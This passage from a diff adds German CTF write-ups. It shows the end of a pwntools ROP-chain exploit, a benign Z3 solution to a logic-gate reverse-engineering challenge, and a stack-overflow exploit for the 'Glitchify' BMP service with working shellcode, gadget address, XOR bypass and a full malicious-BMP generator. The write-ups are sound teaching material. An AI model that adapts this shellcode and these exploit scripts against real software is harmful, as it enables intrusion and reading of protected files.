|
for i in range(0, len(flag_str), 8):
|
||||||
|
chunk = flag_str[i:i+8].ljust(8, b'\0')
|
||||||
|
val = u64(chunk)
|
||||||
|
send_cmd(f"movi a, {hex(val)}")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd(f"saver a,{0x200 + i}")
|
||||||
|
wait_prompt()
|
||||||
|
|
||||||
|
# Platzierung der Chain ausführen
|
||||||
|
send_cmd("execute")
|
||||||
|
p.recvuntil(b"> ")
|
||||||
|
send_cmd("ram 0x00 0x30")
|
||||||
|
p.recvuntil(b"> ")
|
||||||
|
log.success(f" ROP Chain platziert")
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# SCHRITT 3: ARM & TRIGGER
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
log.info("SCHRITT 3: Scharfschalten...")
|
||||||
|
send_cmd(f"movi h,{hex(addr_pivot)}")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd(f"execute")
|
||||||
|
p.recvuntil(b"> ")
|
||||||
|
log.success(f" Scharfgeschaltet")
|
||||||
|
|
||||||
|
log.info("Wird ausgeführt...")
|
||||||
|
send_cmd(f"debug")
|
||||||
|
|
||||||
|
try:
|
||||||
|
# recvall ist hier essenziell, da die Gegenseite die Verbindung nach exit() schließt
|
||||||
|
output = p.recvall(timeout=3)
|
||||||
|
|
||||||
|
print("\n" + "="*50)
|
||||||
|
print("FINALE AUSGABE:")
|
||||||
|
print(output.decode(errors='ignore'))
|
||||||
|
print("="*50)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
log.error(f"Fehler beim Empfangen des Flags: {e}")
|
||||||
|
|
||||||
|
p.close()
|
||||||
|
```
|
||||||
215
de/gatekeeper.md
Normal file
215
de/gatekeeper.md
Normal file
@@ -0,0 +1,215 @@
|
|||||||
|
# The Gatekeeper
|
||||||
|
|
||||||
|
`gatekeeper` ist eine Reverse-Engineering-Challenge, die eine software-simulierte Hardwareschaltung beinhaltet. Uns wird eine Binärdatei bereitgestellt und wir müssen die Eingabe finden, die den Stromkreis "vervollständigt" und die LED einschaltet.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
Zuerst analysieren wir die Binärdatei:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file gatekeeper
|
||||||
|
gatekeeper: ELF 64-bit LSB pie executable, x86-64, ... stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
Es ist eine gestrippte, statisch gelinkte 64-Bit-ELF-ausführbare Datei. Wenn sie ausgeführt wird, fragt sie nach einer Flagge.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ ./gatekeeper
|
||||||
|
--- THE GATEKEEPER ---
|
||||||
|
Enter the flag that lights up the LED: AAAA
|
||||||
|
LED is OFF
|
||||||
|
```
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
### 1. Analyse von Main (`FUN_00108860`)
|
||||||
|
|
||||||
|
Wir öffnen die Binärdatei in Ghidra und lokalisieren die `main`-Funktion bei `0x00108860`.
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 main(void)
|
||||||
|
{
|
||||||
|
// ... Stack-Setup ...
|
||||||
|
|
||||||
|
FUN_00114970("--- THE GATEKEEPER ---");
|
||||||
|
do {
|
||||||
|
FUN_00153610(1, "Enter the flag that lights up the LED: ");
|
||||||
|
|
||||||
|
// Benutzereingabe lesen
|
||||||
|
lVar1 = FUN_00114410(local_1e8, 0x80, PTR_DAT_001d4d78);
|
||||||
|
if (lVar1 == 0) break;
|
||||||
|
|
||||||
|
// Längenprüfung
|
||||||
|
lVar1 = thunk_FUN_001246c0(local_1e8);
|
||||||
|
if (lVar1 == 36) {
|
||||||
|
|
||||||
|
// ... (Komplexe Logik zur Erweiterung von 36 Zeichen in 288 Bits) ...
|
||||||
|
|
||||||
|
// Löschen eines großen Arrays bei 0x1d6940 (Cache/Memoization)
|
||||||
|
puVar6 = &DAT_001d6940;
|
||||||
|
for (lVar1 = 0x1ba; lVar1 != 0; lVar1 = lVar1 + -1) {
|
||||||
|
*puVar6 = 0;
|
||||||
|
puVar6 = puVar6 + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Aufruf der Verifizierungsfunktion
|
||||||
|
// Sie nimmt 0x374 (884) als erstes Argument und das Bit-Array als zweites
|
||||||
|
iVar2 = FUN_001090d0(0x374, &local_168);
|
||||||
|
|
||||||
|
if (iVar2 == 1) {
|
||||||
|
FUN_00114970("LED is ON");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
FUN_00114970("LED is OFF");
|
||||||
|
} while( true );
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Aus `main` lernen wir:
|
||||||
|
1. Die Flagge muss genau **36 Zeichen** lang sein.
|
||||||
|
2. Die Eingabe wird in ein Array von Bits umgewandelt.
|
||||||
|
3. Eine Verifizierungsfunktion `FUN_001090d0` wird aufgerufen, beginnend mit dem Index **884**.
|
||||||
|
|
||||||
|
### 2. Identifizierung der Gatterlogik (`FUN_001090d0`)
|
||||||
|
|
||||||
|
Die Funktion `FUN_001090d0` bestimmt, ob unsere Eingabe korrekt ist. Sie fungiert als rekursiver Auswerter für eine Logikschaltung.
|
||||||
|
|
||||||
|
Sie akzeptiert einen `gate_index` als Argument. Sie verwendet diesen Index, um eine Gatterstruktur aus einem globalen Array bei `0x001d1020` nachzuschlagen. Jede Gatterstruktur enthält einen Opcode und Indizes für andere Gatter (Eingänge).
|
||||||
|
|
||||||
|
**Der rekursive Prozess:**
|
||||||
|
Wenn die Funktion ein Gatter auswertet (z.B. ein UND-Gatter), kann sie das Ergebnis nicht sofort wissen. Stattdessen muss sie zuerst den Zustand der Eingänge bestimmen, die in dieses Gatter einspeisen.
|
||||||
|
1. Sie ruft sich selbst (`FUN_001090d0`) mit dem Index des **linken Kindes** auf.
|
||||||
|
2. Sie ruft sich selbst mit dem Index des **rechten Kindes** auf.
|
||||||
|
3. Sie führt die Logikoperation (UND/ODER/XOR) auf diesen beiden Ergebnissen aus und gibt den Wert zurück.
|
||||||
|
|
||||||
|
Diese Rekursion setzt sich tief in den Schaltungsbaum fort, bis sie auf einen "Basisfall" trifft: ein **INPUT**-Gatter (Fall 0). Das INPUT-Gatter liest einfach ein Bit aus unserer Flagge und gibt es zurück, wodurch die Rekursion für diesen Zweig gestoppt wird. Die Werte wandern dann den Baum wieder hinauf zur Wurzel.
|
||||||
|
|
||||||
|
Durch die Analyse der `switch`-Anweisung im Inneren können wir die spezifischen Operationen identifizieren:
|
||||||
|
|
||||||
|
#### Fall 1: UND-Gatter
|
||||||
|
Diese Logik repräsentiert eine UND-Operation. Beachten Sie die Rekursion: Es wertet zuerst das linke Kind aus. Wenn das 0 zurückgibt, wird kurzgeschlossen und 0 zurückgegeben. Andernfalls wird das rechte Kind ausgewertet.
|
||||||
|
```c
|
||||||
|
case 1:
|
||||||
|
// Rekursiver Aufruf für linkes Kind
|
||||||
|
if (FUN_001090d0(left_idx) == 0) {
|
||||||
|
result = 0;
|
||||||
|
} else {
|
||||||
|
// Rekursiver Aufruf für rechtes Kind
|
||||||
|
result = FUN_001090d0(right_idx);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Fall 2: ODER-Gatter
|
||||||
|
Ähnlich wie UND, gibt aber 1 zurück, wenn das linke Kind 1 ist.
|
||||||
|
```c
|
||||||
|
case 2:
|
||||||
|
if (FUN_001090d0(left_idx) == 1) {
|
||||||
|
result = 1;
|
||||||
|
} else {
|
||||||
|
result = FUN_001090d0(right_idx);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Fall 3: XOR-Gatter
|
||||||
|
Dies verwendet explizit den XOR-Operator auf den Ergebnissen der beiden rekursiven Aufrufe.
|
||||||
|
```c
|
||||||
|
case 3:
|
||||||
|
result = FUN_001090d0(left_idx) ^ FUN_001090d0(right_idx);
|
||||||
|
return result;
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Fall 4: NICHT-Gatter
|
||||||
|
Dieses Gatter hat nur einen Eingang (linkes Kind). Es ruft die Funktion rekursiv auf und invertiert das Ergebnis.
|
||||||
|
```c
|
||||||
|
case 4:
|
||||||
|
result = !FUN_001090d0(left_idx);
|
||||||
|
return result;
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Fall 0: INPUT-Gatter
|
||||||
|
Dies ist der Basisfall der Rekursion. Es ruft ein rohes Bit aus dem Eingabe-Array des Benutzers ab.
|
||||||
|
```c
|
||||||
|
case 0:
|
||||||
|
return input_bits[gate->bit_index];
|
||||||
|
```
|
||||||
|
|
||||||
|
**Schlussfolgerung:**
|
||||||
|
Die Binärdatei ist ein **Logikgatter-Simulator**. Der Verifizierungsmechanismus ist eine große Schaltung (885 Gatter), die im `.data`-Abschnitt gespeichert ist. Wir müssen die Eingabebits finden, die dazu führen, dass das finale "Wurzel"-Gatter (884) eine logische `1` ausgibt.
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Wir können dies lösen, indem wir das Gatter-Array extrahieren und den **Z3 Theorem Prover** verwenden. Z3 ermöglicht es uns, die gesamte Schaltung als eine Menge von Bedingungen zu modellieren und die Eingabe zu finden, die diese erfüllt.
|
||||||
|
|
||||||
|
### Solver-Skript
|
||||||
|
|
||||||
|
1. **Gatter extrahieren**: Jedes Gatter bei `0x1d1020` besteht aus 4 Integern: `[Opcode, Left_Index, Right_Index, Bit_Index]`.
|
||||||
|
2. **Variablen definieren**: Erstelle 288 boolesche Variablen für die Flaggenbits.
|
||||||
|
3. **Logik modellieren**: Definiere rekursiv die Ausgabe jedes Gatters in Bezug auf Z3-Operatoren (`z3.And`, `z3.Or`, `z3.Xor`, `z3.Not`).
|
||||||
|
4. **Lösen**: Sage Z3, dass Gatter 884 `Wahr` sein muss.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import struct
|
||||||
|
import z3
|
||||||
|
|
||||||
|
FILENAME = "gatekeeper"
|
||||||
|
OFFSET = 0xd0020 # Datei-Offset für globales Array bei 0x1d1020
|
||||||
|
GATE_COUNT = 885
|
||||||
|
FLAG_LEN = 36
|
||||||
|
|
||||||
|
# In Ghidra identifizierte Opcodes
|
||||||
|
OP_INPUT, OP_AND, OP_OR, OP_XOR, OP_NOT = range(5)
|
||||||
|
|
||||||
|
class Gate:
|
||||||
|
def __init__(self, op, left, right, val):
|
||||||
|
self.op, self.left, self.right, self.val = op, left, right, val
|
||||||
|
|
||||||
|
def solve():
|
||||||
|
# 1. Schaltung aus Binärdatei laden
|
||||||
|
gates = {}
|
||||||
|
with open(FILENAME, "rb") as f:
|
||||||
|
f.seek(OFFSET)
|
||||||
|
for i in range(GATE_COUNT):
|
||||||
|
data = f.read(16)
|
||||||
|
op, left, right, val = struct.unpack("<iiii", data)
|
||||||
|
gates[i] = Gate(op, left, right, val)
|
||||||
|
|
||||||
|
# 2. Solver einrichten
|
||||||
|
s = z3.Solver()
|
||||||
|
input_bits = [z3.Bool(f'bit_{i}') for i in range(FLAG_LEN * 8)]
|
||||||
|
gate_vars = {}
|
||||||
|
|
||||||
|
def get_var(idx):
|
||||||
|
if idx in gate_vars: return gate_vars[idx]
|
||||||
|
g = gates[idx]
|
||||||
|
if g.op == OP_INPUT: res = input_bits[g.val]
|
||||||
|
elif g.op == OP_AND: res = z3.And(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_OR: res = z3.Or(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_XOR: res = z3.Xor(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_NOT: res = z3.Not(get_var(g.left))
|
||||||
|
gate_vars[idx] = res
|
||||||
|
return res
|
||||||
|
|
||||||
|
# 3. Behaupten, dass Wurzelgatter 1 ist
|
||||||
|
s.add(get_var(GATE_COUNT - 1) == True)
|
||||||
|
|
||||||
|
# 4. Ergebnis extrahieren
|
||||||
|
if s.check() == z3.sat:
|
||||||
|
m = s.model()
|
||||||
|
bits = [1 if m.evaluate(input_bits[i]) else 0 for i in range(FLAG_LEN * 8)]
|
||||||
|
flag = ""
|
||||||
|
for i in range(FLAG_LEN):
|
||||||
|
char_val = 0
|
||||||
|
for b in range(8):
|
||||||
|
if bits[i*8 + (7-b)] == 1: char_val |= (1 << b)
|
||||||
|
flag += chr(char_val)
|
||||||
|
print(f"Flag: {flag}")
|
||||||
|
|
||||||
|
solve()
|
||||||
|
```
|
||||||
|
|
||||||
|
### Ergebnis
|
||||||
|
Das Ausführen des Skripts liefert die Flagge:
|
||||||
|
`{flag: S0ftW4r3_d3F1n3d_l0g1c_G4t3s}`
|
||||||
302
de/glitchify.md
Normal file
302
de/glitchify.md
Normal file
@@ -0,0 +1,302 @@
|
|||||||
|
# Glitchify
|
||||||
|
Glitchify ist ein "Glitch Art" SaaS, das einen Rauschfilter auf 24-Bit-BMP-Bilder anwendet. Während die Benutzeroberfläche vor Speicherlimits warnt (32x32 Pixel), enthält die zugrunde liegende C-Anwendung einen klassischen stackbasierten Buffer Overflow und einen ausführbaren Stack, was sie zu einem perfekten Ziel für einen benutzerdefinierten Shellcode-Exploit macht.
|
||||||
|
|
||||||
|
## Erste Analyse
|
||||||
|
|
||||||
|
Uns werden die folgenden Dateien zur Verfügung gestellt:
|
||||||
|
- `app.py`: Der Flask-Web-Wrapper.
|
||||||
|
- `glitcher`: Das kompilierte ELF64-Binary.
|
||||||
|
- `compose.yml` & `Dockerfile`: Die Container-Konfiguration.
|
||||||
|
- `good.bmp` & `bad.bmp`: Beispielbilder.
|
||||||
|
|
||||||
|
### 1. Identifizierung des Ziels
|
||||||
|
Durch Untersuchung des `Dockerfile` können wir genau sehen, wie der Server eingerichtet ist:
|
||||||
|
```dockerfile
|
||||||
|
WORKDIR /home/ctf
|
||||||
|
COPY glitcher .
|
||||||
|
COPY app.py .
|
||||||
|
COPY flag.txt .
|
||||||
|
```
|
||||||
|
Das Flag befindet sich unter `/home/ctf/flag.txt`. Unser Ziel ist es, diese Datei zu lesen.
|
||||||
|
|
||||||
|
### 2. Verständnis der Pipeline
|
||||||
|
Das `app.py`-Skript zeigt, dass der Server den `stdout` des Binarys abfängt und dem Benutzer anzeigt:
|
||||||
|
```python
|
||||||
|
result = subprocess.run(
|
||||||
|
['./glitcher', b64_data],
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=2
|
||||||
|
)
|
||||||
|
output = result.stdout + result.stderr
|
||||||
|
```
|
||||||
|
Wenn wir einen Shellcode ausführen können, der `flag.txt` liest und in den `stdout` schreibt, erscheint das Flag direkt in der Weboberfläche.
|
||||||
|
|
||||||
|
## Binary Reconnaissance (Erkundung des Binarys)
|
||||||
|
|
||||||
|
Bevor wir in einen Dekompiler eintauchen, sammeln wir grundlegende Informationen über die Umgebung.
|
||||||
|
|
||||||
|
### 1. Dateieigenschaften
|
||||||
|
```bash
|
||||||
|
$ file glitcher
|
||||||
|
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped
|
||||||
|
```
|
||||||
|
Das Binary ist **not stripped**, was bedeutet, dass wir während der Analyse Zugriff auf Funktionsnamen haben.
|
||||||
|
|
||||||
|
### 2. Sicherheitsmechanismen
|
||||||
|
```bash
|
||||||
|
$ readelf -h glitcher | grep Type
|
||||||
|
Type: EXEC (Executable file)
|
||||||
|
```
|
||||||
|
**PIE ist deaktiviert**. Das Binary wird an festen Adressen geladen, was unseren Exploit vereinfacht, da wir ASLR für das Binary selbst nicht umgehen müssen.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ readelf -l glitcher | grep -A 1 GNU_STACK
|
||||||
|
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||||
|
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||||||
|
```
|
||||||
|
**NX ist deaktiviert** (`RWE`). Dies ist eine entscheidende Erkenntnis: **Der Stack ist ausführbar**. Wir können zu Code springen, den wir auf dem Stack platzieren, und diesen ausführen.
|
||||||
|
|
||||||
|
## Statische Analyse (Verfolgung des Ausführungsflusses)
|
||||||
|
|
||||||
|
Da wir nun wissen, dass die Umgebung nachsichtig ist, verfolgen wir, wie das Programm unsere Eingabe verarbeitet, indem wir der Logik in einem Dekompiler folgen.
|
||||||
|
|
||||||
|
### 1. Der Einstiegspunkt (`main`)
|
||||||
|
Das Programm beginnt damit, unser Base64-kodiertes Bild von der Befehlszeile entgegenzunehmen:
|
||||||
|
1. Es reserviert Speicher für die Rohdaten.
|
||||||
|
2. Es ruft `base64_decode` auf, um unsere Eingabe wieder in Binärdaten umzuwandeln.
|
||||||
|
3. Es übergibt diese dekodierten Daten an die Funktion `process_bmp`.
|
||||||
|
|
||||||
|
### 2. Validierung des Bildes (`process_bmp`)
|
||||||
|
Diese Funktion fungiert als Gatekeeper. Sie parst die BMP-Header, um sicherzustellen, dass die Datei gültig ist:
|
||||||
|
1. **Header-Check**: Sie überprüft die "BM"-Magic-Bytes.
|
||||||
|
2. **Format-Check**: Sie stellt sicher, dass das Bild 24-Bit ist (Standard-RGB).
|
||||||
|
3. **Größenberechnung**: Sie berechnet die Gesamtgröße der Pixeldaten: `width * height * 3`.
|
||||||
|
4. **Übergabe**: Schließlich ruft sie `apply_noise_filter` auf und übergibt einen Zeiger auf die Pixeldaten sowie die berechnete `data_size`.
|
||||||
|
|
||||||
|
### 3. Die Schwachstelle (`apply_noise_filter`)
|
||||||
|
Hier läuft es schief. Schauen wir uns die dekompilierte Logik an:
|
||||||
|
```c
|
||||||
|
void apply_noise_filter(char *src_data, int data_size) {
|
||||||
|
char process_buffer[3072]; // Feste Größe auf dem Stack
|
||||||
|
|
||||||
|
// ... Log-Initialisierung ...
|
||||||
|
|
||||||
|
// KRITISCH: Keine Prüfung, ob data_size > 3072!
|
||||||
|
memcpy(process_buffer, src_data, data_size);
|
||||||
|
|
||||||
|
// ... XOR-Schleife (Der "Glitch") ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Der Programmierer ging davon aus, dass Benutzer sich an das in der Warnung erwähnte 32x32-Limit halten würden. Da `memcpy` die Größe des Zielpuffers nicht prüft, ermöglicht uns die Angabe einer größeren `width` oder `height` in unserem BMP-Header, über das Ende von `process_buffer` hinaus in den Stackframe der Funktion zu schreiben und die gespeicherte Rücksprungadresse (Return Address) zu überschreiben.
|
||||||
|
|
||||||
|
### 4. Der "Glitch"-Filter
|
||||||
|
Nach dem Überlauf, aber *bevor* die Funktion zurückkehrt, wendet das Binary einen XOR-Filter an:
|
||||||
|
```c
|
||||||
|
for (idx = 0; idx < data_size; idx++) {
|
||||||
|
process_buffer[idx] ^= (char)(idx % 256);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Diese Schleife wird unseren Shellcode und die Rücksprungadresse verändern (scramblen), bevor die Funktion zurückkehrt. Um sicherzustellen, dass unser Code gültig bleibt, wenn die Funktion schließlich ihre `ret`-Instruktion erreicht, müssen wir unseren gesamten Payload **vor-XORen** (pre-XOR).
|
||||||
|
|
||||||
|
## Exploitation-Strategie (Den Pfad finden)
|
||||||
|
|
||||||
|
Wir haben einen Buffer Overflow und einen ausführbaren Stack. Doch selbst bei deaktiviertem PIE kann die exakte Adresse des Stacks zwischen verschiedenen Umgebungen leicht variieren (aufgrund von Umgebungsvariablen usw.). Um unseren Exploit zuverlässig zu machen, brauchen wir einen Weg, die Ausführung auf den Stack umzuleiten, ohne eine Stack-Adresse fest zu kodieren.
|
||||||
|
|
||||||
|
### 1. Suche nach einem Gadget
|
||||||
|
Wir benötigen eine Instruktion, die bereits im Binary vorhanden ist und zum Stack-Pointer "springt". In x86_64 wird der Stack-Pointer im `rsp`-Register gespeichert. Wir suchen also nach einem Gadget wie:
|
||||||
|
- `jmp rsp`
|
||||||
|
- `call rsp`
|
||||||
|
- `push rsp; ret`
|
||||||
|
|
||||||
|
### 2. Jagd nach dem Gadget
|
||||||
|
Wir können `objdump` verwenden, um das gesamte Disassembly nach diesen spezifischen Befehlen zu durchsuchen. Suchen wir nach einem `jmp rsp`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d glitcher -M intel | grep "jmp rsp"
|
||||||
|
4018d6: ff e4 jmp rsp
|
||||||
|
```
|
||||||
|
|
||||||
|
Wir haben einen Treffer gefunden! Es gibt eine `jmp rsp`-Instruktion an der Adresse **`0x4018d6`**.
|
||||||
|
|
||||||
|
### 3. Verifizierung
|
||||||
|
Da unser Binary nicht gestrippt ist, können wir prüfen, in welcher Funktion sich dieses Gadget befindet, um zu verstehen, warum es dort ist:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
|
||||||
|
00000000004018ce <get_pixels>:
|
||||||
|
4018ce: f3 0f 1e fa endbr64
|
||||||
|
4018d2: 55 push rbp
|
||||||
|
4018d3: 48 89 e5 mov rbp,rsp
|
||||||
|
4018d6: ff e4 jmp rsp
|
||||||
|
```
|
||||||
|
|
||||||
|
Es stellt sich heraus, dass das Gadget innerhalb einer Funktion namens `get_pixels` liegt. Diese Adresse (`0x4018d6`) ist perfekt, da sie fest ist und genau zu dem Speicherbereich springt, der unmittelbar auf unsere Rücksprungadresse auf dem Stack folgt – dort, wo wir unseren Shellcode platzieren werden.
|
||||||
|
|
||||||
|
## Den Exploit Schritt für Schritt aufbauen
|
||||||
|
|
||||||
|
### Schritt 1: Erstellung des Shellcodes
|
||||||
|
Da wir eine Datei lesen und in den `stdout` ausgeben müssen, verwenden wir eine Sequenz aus `open` -> `read` -> `write`. Hier ist die Aufschlüsselung in Assembly:
|
||||||
|
|
||||||
|
```nasm
|
||||||
|
; --- "flag.txt" öffnen ---
|
||||||
|
push 0 ; Null-Terminator für String
|
||||||
|
mov rbx, 0x7478742e67616c66 ; "flag.txt" in Hex (Little-Endian)
|
||||||
|
push rbx ; String auf Stack pushen
|
||||||
|
mov rdi, rsp ; RDI = Zeiger auf "flag.txt"
|
||||||
|
xor esi, esi ; RSI = 0 (O_RDONLY)
|
||||||
|
push 2 ; RAX = 2 (sys_open)
|
||||||
|
pop rax
|
||||||
|
syscall ; open("flag.txt", 0)
|
||||||
|
|
||||||
|
; --- Dateiinhalt lesen ---
|
||||||
|
mov rdi, rax ; RDI = File Descriptor (von rax)
|
||||||
|
mov rsi, rsp ; RSI = Puffer (Stack-Platz wiederverwenden)
|
||||||
|
mov edx, 0x100 ; RDX = 256 Bytes zum Lesen
|
||||||
|
push 0 ; RAX = 0 (sys_read)
|
||||||
|
pop rax
|
||||||
|
syscall ; read(fd, rsp, 256)
|
||||||
|
|
||||||
|
; --- In stdout schreiben ---
|
||||||
|
mov rdx, rax ; RDX = gelesene Bytes (von rax)
|
||||||
|
push 1 ; RDI = 1 (stdout)
|
||||||
|
pop rdi
|
||||||
|
push 1 ; RAX = 1 (sys_write)
|
||||||
|
pop rax
|
||||||
|
syscall ; write(1, rsp, rdx)
|
||||||
|
|
||||||
|
; --- Sauber beenden ---
|
||||||
|
push 60 ; RAX = 60 (sys_exit)
|
||||||
|
pop rax
|
||||||
|
xor rdi, rdi ; RDI = 0
|
||||||
|
syscall ; exit(0)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Schritt 2: Berechnung des Paddings
|
||||||
|
Der `process_buffer` ist 3072 Bytes groß. Um die Rücksprungadresse zu erreichen, müssen wir auch das gespeicherte RBP (8 Bytes) überschreiben.
|
||||||
|
- **Padding**: 3080 Bytes.
|
||||||
|
- **Rücksprungadresse**: `0x4018d6` (`jmp rsp`).
|
||||||
|
- **Payload**: `Padding` + `RetAddr` + `Shellcode`.
|
||||||
|
|
||||||
|
### Schritt 3: Umgehung des XOR-Filters
|
||||||
|
Wir führen ein Vor-XOR auf unseren Roh-Payload aus, so dass er, wenn der Server ihn "glitcht", tatsächlich wieder in unseren ursprünglichen Code "entschlüsselt" wird.
|
||||||
|
```python
|
||||||
|
scrambled = bytearray()
|
||||||
|
for i in range(len(raw_payload)):
|
||||||
|
scrambled.append(raw_payload[i] ^ (i % 256))
|
||||||
|
```
|
||||||
|
|
||||||
|
### Schritt 4: In ein BMP verpacken
|
||||||
|
Wir verpacken unseren gescrambelten Payload in eine Standard-24-Bit-BMP-Struktur.
|
||||||
|
```python
|
||||||
|
# Magic 'BM' + Header + Gescrambelte Daten
|
||||||
|
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||||||
|
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
|
||||||
|
final_file = bmp_header + info_header + scrambled
|
||||||
|
```
|
||||||
|
|
||||||
|
## Der finale Solver
|
||||||
|
|
||||||
|
```python
|
||||||
|
import struct
|
||||||
|
|
||||||
|
# Der spezifische bereitgestellte "jmp rsp" Gadget-Offset
|
||||||
|
GADGET_ADDR = 0x4018d6
|
||||||
|
|
||||||
|
def get_payload():
|
||||||
|
# 1. Shellcode: Öffnet flag.txt und gibt sie über stdout aus
|
||||||
|
# OPTIMIERT: Nutzt die Byte-Anzahl von read(), um write() zu begrenzen
|
||||||
|
shellcode = (
|
||||||
|
b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
|
||||||
|
b"\x48\x89\xe7" # mov rdi, rsp (Dateiname-Zeiger)
|
||||||
|
b"\x31\xf6" # xor esi, esi (O_RDONLY)
|
||||||
|
b"\x6a\x02" # push 2 (sys_open)
|
||||||
|
b"\x58" # pop rax
|
||||||
|
b"\x0f\x05" # syscall (open)
|
||||||
|
|
||||||
|
b"\x48\x89\xc7" # mov rdi, rax (fd)
|
||||||
|
b"\x48\x89\xe6" # mov rsi, rsp (Stack als Puffer nutzen)
|
||||||
|
b"\xba\x00\x01\x00\x00" # mov edx, 256 (max. Anzahl)
|
||||||
|
b"\x6a\x00" # push 0 (sys_read)
|
||||||
|
b"\x58" # pop rax
|
||||||
|
b"\x0f\x05" # syscall (read)
|
||||||
|
|
||||||
|
# --- FIX BEGINNT HIER ---
|
||||||
|
# read() gibt die tatsächlich gelesene Byte-Anzahl in RAX zurück.
|
||||||
|
# Wir verschieben diesen Wert nach RDX, damit write() genau diese Anzahl druckt.
|
||||||
|
b"\x48\x89\xc2" # mov rdx, rax
|
||||||
|
# --- FIX ENDET HIER ---
|
||||||
|
|
||||||
|
b"\x6a\x01" # push 1 (stdout)
|
||||||
|
b"\x5f" # pop rdi
|
||||||
|
b"\x6a\x01" # push 1 (sys_write)
|
||||||
|
b"\x58" # pop rax
|
||||||
|
b"\x0f\x05" # syscall (write)
|
||||||
|
|
||||||
|
b"\x6a\x3c" # push 60 (sys_exit)
|
||||||
|
b"\x58" # pop rax
|
||||||
|
b"\x31\xff" # xor rdi, rdi (Status 0)
|
||||||
|
b"\x0f\x05" # syscall (exit)
|
||||||
|
)
|
||||||
|
|
||||||
|
# 2. Aufbau des Roh-Payload-Layouts
|
||||||
|
# Puffer (3072) + gespeichertes RBP (8) = 3080 Bytes Padding
|
||||||
|
padding = b"A" * 3080
|
||||||
|
ret_addr = struct.pack("<Q", GADGET_ADDR)
|
||||||
|
|
||||||
|
# Kombinierter Roh-Payload
|
||||||
|
raw_payload = padding + ret_addr + shellcode
|
||||||
|
|
||||||
|
# 3. Anwendung des XOR-Scrambling
|
||||||
|
# Das Binary führt aus: process_buffer[idx] ^= (unsigned char)(idx % 256);
|
||||||
|
# Wir XORen unseren Payload vor, damit der Server ihn wieder in gültigen Shellcode verwandelt.
|
||||||
|
scrambled_payload = bytearray()
|
||||||
|
for i in range(len(raw_payload)):
|
||||||
|
key = i % 256
|
||||||
|
scrambled_payload.append(raw_payload[i] ^ key)
|
||||||
|
|
||||||
|
return scrambled_payload
|
||||||
|
|
||||||
|
def generate_bmp(payload):
|
||||||
|
# BMP benötigt width * height * 3 Bytes an Daten.
|
||||||
|
# Payload anpassen, damit er durch 3 teilbar ist.
|
||||||
|
while len(payload) % 3 != 0:
|
||||||
|
idx = len(payload)
|
||||||
|
payload.append(0 ^ (idx % 256))
|
||||||
|
|
||||||
|
# Dimensionen berechnen: Höhe = 1, Breite = Länge / 3
|
||||||
|
height = 1
|
||||||
|
width = len(payload) // 3
|
||||||
|
|
||||||
|
# Header-Größe ist 54 Bytes
|
||||||
|
file_size = 54 + len(payload)
|
||||||
|
|
||||||
|
# Header konstruieren (Little Endian)
|
||||||
|
# Magic 'BM' + Dateigröße + Reserviert + Offset(54)
|
||||||
|
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
|
||||||
|
|
||||||
|
# Info-Header: Größe(40) + W + H + Planes(1) + BitCount(24) + Kompression(0)...
|
||||||
|
info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)
|
||||||
|
|
||||||
|
return bmp_header + info_header + payload
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print(f"[*] Erzeuge Exploit für JMP RSP @ {hex(GADGET_ADDR)}...")
|
||||||
|
|
||||||
|
payload = get_payload()
|
||||||
|
bmp_file = generate_bmp(payload)
|
||||||
|
|
||||||
|
output_filename = "exploit.bmp"
|
||||||
|
with open(output_filename, "wb") as f:
|
||||||
|
f.write(bmp_file)
|
||||||
|
|
||||||
|
print(f"[+] Bösartige Bitmap gespeichert unter: {output_filename}")
|
||||||
|
print(f"[*] Gesamtgröße: {len(bmp_file)} Bytes")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
